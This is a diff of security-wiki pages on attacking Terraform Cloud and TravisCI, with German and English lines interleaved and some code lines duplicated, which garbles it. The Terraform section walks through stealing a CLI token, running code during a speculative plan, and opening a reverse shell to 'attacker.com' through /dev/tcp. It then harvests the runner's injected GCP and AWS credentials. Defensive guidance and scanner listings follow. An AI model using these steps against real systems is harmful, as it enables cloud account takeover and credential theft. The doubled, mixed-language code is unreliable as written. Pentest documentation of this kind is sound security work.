"id": "i-1234567890abcdefg"
}
}
]
},
```
2. **Die Ressource so ändern, dass ein Update nicht möglich ist (sie wird gelöscht und neu erstellt)**
Für eine EC2-Instanz reicht es, den Typ der Instanz zu ändern, damit terraform sie löscht und neu erstellt.
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
### Gesperrten Provider ersetzen
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
### Replace blacklisted provider
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
Falls Sie auf eine Situation stoßen, in der `hashicorp/external` gesperrt wurde, können Sie den `external` Provider wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des external Providers, veröffentlicht unter https://registry.terraform.io/providers/nazarewk/external/latest. Sie können auch einen eigenen Fork oder eine eigene Neuimplementierung veröffentlichen.
```terraform
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
```
Dann kannst du `external` wie gewohnt verwenden.
Then you can use `external` as per normal.
```terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE and credential exfiltration
Dieses Szenario missbraucht Terraform Cloud (TFC) runners während speculative plans, um in das Ziel-Cloud-Konto zu pivot.
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
- Preconditions:
- Ein Terraform Cloud-Token von einer Entwickler-Maschine stehlen. Die CLI speichert Tokens im Klartext unter `~/.terraform.d/credentials.tfrc.json`.
- Das Token muss Zugriff auf die Ziel-Organisation/workspace und mindestens die `plan`-Berechtigung haben. VCS-backed workspaces blockieren `apply` von der CLI, erlauben aber weiterhin speculative plans.
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
- Discover workspace and VCS settings via the TFC API:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Codeausführung während eines speculative plan auslösen, indem die external data source und der Terraform Cloud "cloud" block verwendet werden, um das VCS-backed workspace anzuzielen:
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
program = ["bash", "./rsync.sh"]
}
```
Beispiel rsync.sh, um auf dem TFC runner eine reverse shell zu erhalten:
Example rsync.sh to obtain a reverse shell on the TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Führe einen spekulativen Plan aus, um das Programm auf dem ephemeren Runner auszuführen:
Run a speculative plan to execute the program on the ephemeral runner:
```bash
terraform init
terraform plan
```
- Enumerate and exfiltrate injected cloud credentials vom runner. Während der Runs injiziert TFC provider credentials über Dateien und environment variables:
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Erwartete Dateien im Arbeitsverzeichnis des Runners:
- GCP:
- `tfc-google-application-credentials` (Workload Identity Federation JSON-Konfiguration)
- `tfc-gcp-token` (kurzlebiges GCP-Zugriffstoken)
- AWS:
- `tfc-aws-shared-config` (Konfiguration für Web Identity/OIDC-Rollenübernahme)
- `tfc-aws-token` (kurzlebiges Token; einige Organisationen verwenden möglicherweise statische Schlüssel)
- Verwende die kurzlebigen Anmeldeinformationen außerhalb des normalen Ablaufs, um VCS-Gates zu umgehen:
Expected files on the runner working directory:
- GCP:
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
- `tfc-gcp-token` (short-lived GCP access token)
- AWS:
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
- Use the short-lived credentials out-of-band to bypass VCS gates:
GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
Mit diesen Zugangsdaten können Angreifer Ressourcen direkt über native CLIs erstellen/modifizieren/zerstören und so PR-basierte Workflows umgehen, die `apply` via VCS blockieren.
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
- Defensive guidance:
- Wende das Least-Privilege-Prinzip auf TFC-Benutzer/Teams und Tokens an. Prüfe Mitgliedschaften und vermeide übermäßig viele Owner.
- Beschränke die `plan`-Berechtigung für sensible VCS-gebundene Workspaces, wo möglich.
- Erzwinge Provider/Datensource-Allowlists mit Sentinel-Policies, um `data "external"` oder unbekannte Provider zu blockieren. Siehe HashiCorp-Anleitung zum Provider-Filtering.
- Bevorzuge OIDC/WIF gegenüber statischen Cloud-Credentials; behandle runner als sensibel. Überwache spekulative plan-Ausführungen und unerwartetes Egress.
- Erkenne Exfiltration von `tfc-*` Credential-Artefakten und alarmiere bei verdächtiger Nutzung von `external`-Programmen während Plans.
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
## Kompromittierung von Terraform Cloud
## Compromising Terraform Cloud
### Nutzung eines Tokens
### Using a token
Wie **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)** erklärt, speichert die terraform CLI Tokens im Klartext unter **`~/.terraform.d/credentials.tfrc.json`**. Das Entwenden dieses Tokens ermöglicht einem Angreifer, sich innerhalb des Berechtigungsumfangs des Tokens als der Benutzer auszugeben.
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the tokens scope.
Using this token it's possible to get the org/workspace with:
Mit diesem Token kann man die org/workspace abrufen mit:
```bash
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>
```
Dann ist es möglich, beliebigen Code mit **`terraform plan`** auszuführen, wie im vorherigen Kapitel erklärt.
### Ausbruch in die Cloud
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
Wenn der Runner in einer Cloud-Umgebung läuft, ist es möglich, ein Token des dem Runner zugeordneten principal zu erhalten und es außerhalb des Ablaufs zu verwenden.
### Escaping to the cloud
- **GCP files (im aktuellen Arbeitsverzeichnis der Ausführung vorhanden)**
- `tfc-google-application-credentials` — JSON-Konfiguration für Workload Identity Federation (WIF), die Google angibt, wie die externe Identität ausgetauscht wird.
- `tfc-gcp-token` — kurzlebiges (≈1 Stunde) GCP access token, auf das oben verwiesen wird
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
- **AWS-Dateien**
- `tfc-aws-shared-config` — JSON für web identity federation/OIDC role assumption (bevorzugt gegenüber statischen Keys).
- `tfc-aws-token`kurzlebiges Token oder bei Fehlkonfiguration möglicherweise statische IAM-Keys.
- **GCP files (present in current run working directory)**
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
- `tfc-gcp-token`shortlived (≈1 hour) GCP access token referenced by the above
- **AWS files**
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
(preferred over static keys).
- `tfc-aws-token` — shortlived token, or potentially static IAM keys if misconfigured.
## Automatische Audit-Tools
## Automatic Audit Tools
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
Snyk bietet eine umfassende Infrastructure as Code (IaC) Scanning-Lösung, die Schwachstellen und Fehlkonfigurationen in Terraform, CloudFormation, Kubernetes und anderen IaC-Formaten erkennt.
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
- **Features:**
- Echtzeit-Scanning auf Sicherheitslücken und Compliance-Probleme.
- Integration mit Version-Control-Systemen (GitHub, GitLab, Bitbucket).
- Automatisierte Fix-Pull-Requests.
- Detaillierte Empfehlungen zur Behebung.
- **Sign Up:** Erstellen Sie ein Konto bei [Snyk](https://snyk.io/).
- Real-time scanning for security vulnerabilities and compliance issues.
- Integration with version control systems (GitHub, GitLab, Bitbucket).
- Automated fix pull requests.
- Detailed remediation advice.
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
```bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** ist ein statisches Code-Analyse-Tool für Infrastructure as Code (IaC) und außerdem ein Software Composition Analysis (SCA)-Tool für Images und Open-Source-Pakete.
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
Es scannt Cloud-Infrastruktur, die mit [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) bereitgestellt wurde, und erkennt Sicherheits- und Compliance-Fehlkonfigurationen mithilfe graphbasierter Scans.
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
Es führt [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) durch, bei dem Open-Source-Pakete und Images auf Common Vulnerabilities and Exposures (CVEs) untersucht werden.
```bash
pip install checkov
checkov -d /path/to/folder
```
### [terraform-compliance](https://github.com/terraform-compliance/cli)
Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ist ein leichtgewichtiges, auf Security und Compliance ausgerichtetes Test-Framework für terraform, das negative Testmöglichkeiten für Ihre infrastructure-as-code bietet.
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
- **compliance:** Sicherstellen, dass der implementierte Code Sicherheitsstandards und Ihre eigenen Richtlinien einhält
- **behaviour driven development:** Wir haben BDD für fast alles — warum nicht auch für IaC?
- **portable:** einfach mit `pip` installieren oder per `docker` ausführen. Siehe [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** es validiert Ihren Code, bevor er bereitgestellt wird
- **easy to integrate:** es kann in Ihrer Pipeline (oder in git hooks) laufen, um sicherzustellen, dass alle Deployments validiert werden.
- **segregation of duty:** Sie können Ihre Tests in einem separaten Repository halten, in dem ein anderes Team verantwortlich ist.
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** it validates your code before it is deployed
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
> [!NOTE]
> Leider: Wenn der Code Provider verwendet, auf die Sie keinen Zugriff haben, können Sie kein `terraform plan` ausführen und dieses Tool nicht betreiben.
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
Aus den [**docs**](https://github.com/aquasecurity/tfsec): tfsec verwendet statische Analyse Ihres terraform-Codes, um potenzielle Fehlkonfigurationen aufzuspüren.
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
- ⛔ Hundreds of built-in rules
- 🪆 Scans modules (local and remote)
- Evaluates HCL expressions as well as literal values
- ↪️ Evaluates Terraform functions e.g. `concat()`
- 🔗 Evaluates relationships between Terraform resources
- 🧰 Compatible with the Terraform CDK
- 🙅 Applies (and embellishes) user-defined Rego policies
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurable (via CLI flags and/or config file)
- ⚡ Very fast, capable of quickly scanning huge repositories
- ☁️ Prüft auf Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern
- ⛔ Hunderte integrierter Regeln
- 🪆 Scannt Module (lokal und remote)
- Bewertet HCL-Ausdrücke sowie Literalwerte
- ↪️ Bewertet Terraform-Funktionen, z. B. `concat()`
- 🔗 Analysiert Beziehungen zwischen Terraform-Ressourcen
- 🧰 Kompatibel mit dem Terraform CDK
- 🙅 Wendet benutzerdefinierte Rego-Policies an (und erweitert sie)
- 📃 Unterstützt mehrere Ausgabeformate: lovely (Standard), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Konfigurierbar (per CLI-Flags und/oder Konfigurationsdatei)
- ⚡ Sehr schnell, kann große Repositories zügig scannen
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Terrascan ist ein statisches Code-Analyse-Tool für Infrastructure as Code. Terrascan ermöglicht Ihnen:
- Scannt nahtlos Infrastructure as Code auf Fehlkonfigurationen.
- Überwacht bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen, die zu einem Drift der Sicherheitslage führen, und ermöglicht das Zurückkehren zu einer sicheren Konfiguration.
- Erkennt Sicherheitslücken und Compliance-Verstöße.
- Reduziert Risiken, bevor cloud-native Infrastruktur bereitgestellt wird.
- Bietet die Flexibilität, lokal ausgeführt zu werden oder in Ihre CI\CD zu integrieren.
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
Finde Sicherheitslücken, Compliance-Probleme und Fehlkonfigurationen der Infrastruktur früh im Entwicklungszyklus deiner Infrastructure-as-Code mit **KICS** von Checkmarx.
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
**KICS** steht für **K**eeping **I**nfrastructure as **C**ode **S**ecure, es ist Open Source und ein Muss für jedes cloud-native Projekt.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
Aus den [**docs**](https://github.com/tenable/terrascan): Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code. Terrascan ermöglicht:
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
- Seamlessly scan infrastructure as code for misconfigurations.
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
- Detect security vulnerabilities and compliance violations.
- Mitigate risks before provisioning cloud native infrastructure.
- Offers flexibility to run locally or integrate with your CI\CD.
- Infrastructure as Code nahtlos auf Fehlkonfigurationen zu scannen.
- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die Posture Drift verursachen, und das Zurücksetzen auf einen sicheren Zustand zu ermöglichen.
- Sicherheitslücken und Compliance-Verstöße zu erkennen.
- Risiken zu mindern, bevor cloud-native Infrastruktur bereitgestellt wird.
- Flexibilität zu bieten, lokal ausgeführt zu werden oder in Ihr CI\CD integriert zu werden.
```bash
brew install terrascan
```
## Referenzen
## References
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)

View File

@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
Github PRs sind willkommen, die erklären, wie man diese Plattformen aus der Perspektive eines Angreifers (miss)brauchen kann
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
- Drone
- TeamCity
@@ -11,6 +11,9 @@ Github PRs sind willkommen, die erklären, wie man diese Plattformen aus der Per
- Rancher
- Mesosphere
- Radicle
- Jede andere CI/CD-Plattform...
- Any other CI/CD platform...
{{#include ../banners/hacktricks-training.md}}

View File

@@ -1,65 +1,68 @@
# TravisCI Sicherheit
# TravisCI Security
{{#include ../../banners/hacktricks-training.md}}
## Was ist TravisCI
## What is TravisCI
**Travis CI** ist ein **gehosteter** oder vor Ort **kontinuierlicher Integrations**dienst, der verwendet wird, um Softwareprojekte zu erstellen und zu testen, die auf mehreren **verschiedenen Git-Plattformen** gehostet werden.
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
{{#ref}}
basic-travisci-information.md
{{#endref}}
## Angriffe
## Attacks
### Auslöser
### Triggers
Um einen Angriff zu starten, müssen Sie zuerst wissen, wie Sie einen Build auslösen. Standardmäßig wird TravisCI **einen Build bei Pushes und Pull-Requests auslösen**:
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
![](<../../images/image (145).png>)
#### Cron-Jobs
#### Cron Jobs
Wenn Sie Zugriff auf die Webanwendung haben, können Sie **Cron-Jobs einrichten, um den Build auszuführen**, dies könnte nützlich für Persistenz oder um einen Build auszulösen sein:
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
![](<../../images/image (243).png>)
> [!NOTE]
> Es scheint, dass es nicht möglich ist, Cron-Jobs innerhalb der `.travis.yml` gemäß [diesem](https://github.com/travis-ci/travis-ci/issues/9162) einzurichten.
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
### Dritte Partei PR
### Third Party PR
TravisCI deaktiviert standardmäßig das Teilen von Umgebungsvariablen mit PRs von Dritten, aber jemand könnte es aktivieren und dann könnten Sie PRs zum Repo erstellen und die Geheimnisse exfiltrieren:
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
![](<../../images/image (208).png>)
### Geheimnisse dumpen
### Dumping Secrets
Wie auf der Seite [**grundlegende Informationen**](basic-travisci-information.md) erklärt, gibt es 2 Arten von Geheimnissen. **Umgebungsvariablen-Geheimnisse** (die auf der Webseite aufgelistet sind) und **benutzerdefinierte verschlüsselte Geheimnisse**, die in der `.travis.yml`-Datei als base64 gespeichert sind (beachten Sie, dass beide als verschlüsselt gespeichert in den endgültigen Maschinen als Umgebungsvariablen enden).
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
- Um **Geheimnisse** zu **enumerieren**, die als **Umgebungsvariablen** konfiguriert sind, gehen Sie zu den **Einstellungen** des **Projekts** und überprüfen Sie die Liste. Beachten Sie jedoch, dass alle hier festgelegten Projekt-Umgebungsvariablen erscheinen, wenn ein Build ausgelöst wird.
- Um die **benutzerdefinierten verschlüsselten Geheimnisse** zu enumerieren, ist das Beste, was Sie tun können, die **`.travis.yml`-Datei** zu überprüfen.
- Um **verschlüsselte Dateien** zu **enumerieren**, können Sie nach **`.enc`-Dateien** im Repo suchen, nach Zeilen, die ähnlich sind wie `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in der Konfigurationsdatei, oder nach **verschlüsselten iv und Schlüsseln** in den **Umgebungsvariablen** wie:
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
![](<../../images/image (81).png>)
### TODO:
- Beispiel-Build mit Reverse-Shell, die auf Windows/Mac/Linux läuft
- Beispiel-Build, der die Umgebungsvariablen base64-kodiert in den Protokollen ausgibt
- Example build with reverse shell running on Windows/Mac/Linux
- Example build leaking the env base64 encoded in the logs
### TravisCI Enterprise
Wenn ein Angreifer in einer Umgebung landet, die **TravisCI Enterprise** verwendet (weitere Informationen dazu finden Sie in den [**grundlegenden Informationen**](basic-travisci-information.md#travisci-enterprise)), wird er in der Lage sein, **Builds im Worker auszulösen.** Das bedeutet, dass ein Angreifer in der Lage sein wird, lateral zu diesem Server zu wechseln, von dem aus er in der Lage sein könnte:
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
- zum Host zu entkommen?
- Kubernetes zu kompromittieren?
- andere Maschinen im selben Netzwerk zu kompromittieren?
- neue Cloud-Anmeldeinformationen zu kompromittieren?
- escape to the host?
- compromise kubernetes?
- compromise other machines running in the same network?
- compromise new cloud credentials?
## Referenzen
## References
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,45 +1,48 @@
# Grundlegende TravisCI-Informationen
# Basic TravisCI Information
{{#include ../../banners/hacktricks-training.md}}
## Zugriff
## Access
TravisCI integriert sich direkt mit verschiedenen Git-Plattformen wie Github, Bitbucket, Assembla und Gitlab. Es wird den Benutzer auffordern, TravisCI die Berechtigungen zu erteilen, um auf die Repos zuzugreifen, die er mit TravisCI integrieren möchte.
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
Zum Beispiel wird es in Github nach den folgenden Berechtigungen fragen:
For example, in Github it will ask for the following permissions:
- `user:email` (nur lesen)
- `read:org` (nur lesen)
- `repo`: Gewährt Lese- und Schreibzugriff auf Code, Commit-Status, Mitwirkende und Bereitstellungsstatus für öffentliche und private Repositories und Organisationen.
- `user:email` (read-only)
- `read:org` (read-only)
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
## Verschlüsselte Geheimnisse
## Encrypted Secrets
### Umgebungsvariablen
### Environment Variables
In TravisCI, wie in anderen CI-Plattformen, ist es möglich, **Geheimnisse auf Repo-Ebene zu speichern**, die verschlüsselt gespeichert werden und **entschlüsselt und in der Umgebungsvariable** der Maschine, die den Build ausführt, **übertragen werden**.
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
![](<../../images/image (203).png>)
Es ist möglich, die **Branches anzugeben, für die die Geheimnisse verfügbar sein sollen** (standardmäßig alle) und auch, ob TravisCI **den Wert verbergen soll**, wenn er **in den Protokollen** erscheint (standardmäßig wird es das tun).
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
### Benutzerdefinierte verschlüsselte Geheimnisse
### Custom Encrypted Secrets
Für **jedes Repo** generiert TravisCI ein **RSA-Schlüsselpaar**, **behält** den **privaten** Schlüssel und macht den **öffentlichen Schlüssel des Repositories** für diejenigen verfügbar, die **Zugriff** auf das Repository haben.
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repositorys **public key available** to those who have **access** to the repository.
You can access the public key of one repo with:
Sie können auf den öffentlichen Schlüssel eines Repos zugreifen mit:
```
travis pubkey -r <owner>/<repo_name>
travis pubkey -r carlospolop/t-ci-test
```
Dann können Sie dieses Setup verwenden, um **Geheimnisse zu verschlüsseln und sie zu Ihrer `.travis.yaml` hinzuzufügen**. Die Geheimnisse werden **entschlüsselt, wenn der Build ausgeführt wird** und sind in den **Umgebungsvariablen** zugänglich.
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
![](<../../images/image (139).png>)
Beachten Sie, dass die auf diese Weise verschlüsselten Geheimnisse nicht in den Umgebungsvariablen der Einstellungen aufgeführt werden.
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
### Benutzerdefinierte verschlüsselte Dateien
### Custom Encrypted Files
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
Auf die gleiche Weise wie zuvor erlaubt TravisCI auch, **Dateien zu verschlüsseln und sie während des Builds zu entschlüsseln**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -49,7 +52,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -57,32 +60,36 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
Beachten Sie, dass beim Verschlüsseln einer Datei 2 Umgebungsvariablen im Repository konfiguriert werden, wie zum Beispiel:
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
![](<../../images/image (170).png>)
## TravisCI Enterprise
Travis CI Enterprise ist eine **On-Prem-Version von Travis CI**, die Sie **in Ihrer Infrastruktur** bereitstellen können. Denken Sie an die 'Server'-Version von Travis CI. Die Verwendung von Travis CI ermöglicht es Ihnen, ein benutzerfreundliches Continuous Integration/Continuous Deployment (CI/CD)-System in einer Umgebung zu aktivieren, die Sie nach Ihren Wünschen konfigurieren und sichern können.
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the server version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
**Travis CI Enterprise besteht aus zwei Hauptteilen:**
**Travis CI Enterprise consists of two major parts:**
